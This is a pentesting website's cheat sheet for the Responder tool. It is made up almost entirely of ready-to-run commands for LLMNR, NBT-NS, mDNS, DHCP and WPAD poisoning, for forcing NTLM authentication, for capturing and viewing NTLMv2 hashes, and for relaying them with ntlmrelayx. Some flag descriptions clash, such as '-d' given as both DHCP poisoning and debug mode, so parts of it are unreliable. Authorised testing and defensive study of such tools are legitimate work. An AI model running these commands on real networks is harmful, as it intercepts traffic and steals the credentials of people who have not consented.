Pentesting.Site - Responder Cheat Sheet

Responder is a LLMNR, NBT-NS, and MDNS poisoner. It answers specific queries on a network to divert traffic to the attacker's machine, allowing for the capture of NTLMv1/v2 hashes.

Download Responder

Installation

1
sudo apt update && sudo apt install responder

1
git clone https://github.com/lgandx/Responder.git
2
cd Responder
3
pip3 install -r requirements.txt
4
sudo python3 Responder.py --help

Basic Usage

1
sudo responder -I eth0             #Start Responder poisoning on interface eth0
2
sudo responder -I eth0 -v          #Enable verbose output
3
sudo responder -I eth0 -dw         #Enable WPAD and HTTP authentication capture
4
sudo responder -I eth0 -A          #Analyze mode (no poisoning)
5
sudo responder -I eth0 -v -FDdP    #All out attack

Interface Selection

1
ip a                            #Identify available interfaces
2
sudo responder -I eth0          #Run Responder on ethernet interface
3
sudo responder -I wlan0         #Run Responder on wireless interface
4
sudo responder -I tun0          #Run through VPN interface

LLMNR / NBT-NS / mDNS Poisoning

1
sudo responder -I eth0 -rdw  #Enable LLMNR, NBT-NS, and WPAD poisoning
2
sudo responder -I eth0 -r    #Enable NetBIOS Name Service poisoning
3
sudo responder -I eth0 -d    #Enable DHCP poisoning
4
sudo responder -I eth0 -m    #Enable mDNS poisoning

Credential Capture

1
sudo responder -I eth0 -v     #Capture NTLMv1/NTLMv2 authentication attempts
2
sudo responder -I eth0 -wrf   #Force WPAD authentication and capture hashes
3
sudo responder -I eth0 -F     #Force NTLM authentication
4
sudo responder -I eth0 -w     #Start WPAD rogue proxy server

Common Attack Scenarios

Capture Windows NTLMv2 Hashes

1
sudo responder -I eth0 -v     #Passively capture NTLM authentication
2
sudo responder -I eth0 -rdwv  #Capture hashes via LLMNR/NBT-NS poisoning

WPAD Rogue Proxy Attack

1
sudo responder -I eth0 -w    #Enable WPAD rogue proxy
2
sudo responder -I eth0 -wdF  #Force authentication through WPAD

Passive Network Analysis

1
sudo responder -I eth0 -A    #Analyze traffic without poisoning
2
sudo responder -I eth0 -Av   #Analyze mode with verbose output

Integration With Other Tools

Responder & ntlmrelayx

1
sudo responder -I eth0 -rdwv                  #Capture NTLM authentication
2
ntlmrelayx.py -tf targets.txt -smb2support    #Relay captured credentials

Hash Storage Locations

1
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-*    #View captured SMB hashes
2
cat /usr/share/responder/logs/HTTP-NTLMv2-*       #View captured HTTP authentication hashes
3
cat /usr/share/responder/logs/*                   #View all captured credentials

Responder Configuration

1
nano /etc/responder/Responder.conf       #Edit Responder configuration
2
cat /etc/responder/Responder.conf        #View current configuration
3
grep SMB /etc/responder/Responder.conf   #Check SMB poisoning settings

Responder Servers

1
sudo responder -I eth0 -rdwv   #Enable SMB, HTTP, HTTPS credential capture
2
sudo responder -I eth0 -wF     #WPAD proxy with forced authentication
3
sudo responder -I eth0 -rf     #Enable NetBIOS and authentication forcing

Verbose & Debug Modes

1
sudo responder -I eth0 -v    #Verbose output
2
sudo responder -I eth0 -vv   #Extra verbose output
3
sudo responder -I eth0 -d    #Debug mode

Stopping Responder

1
CTRL + C                    #Stop Responder poisoning
2
ps aux | grep responder     #Check if Responder is still running
3
sudo killall python3        #Kill Responder process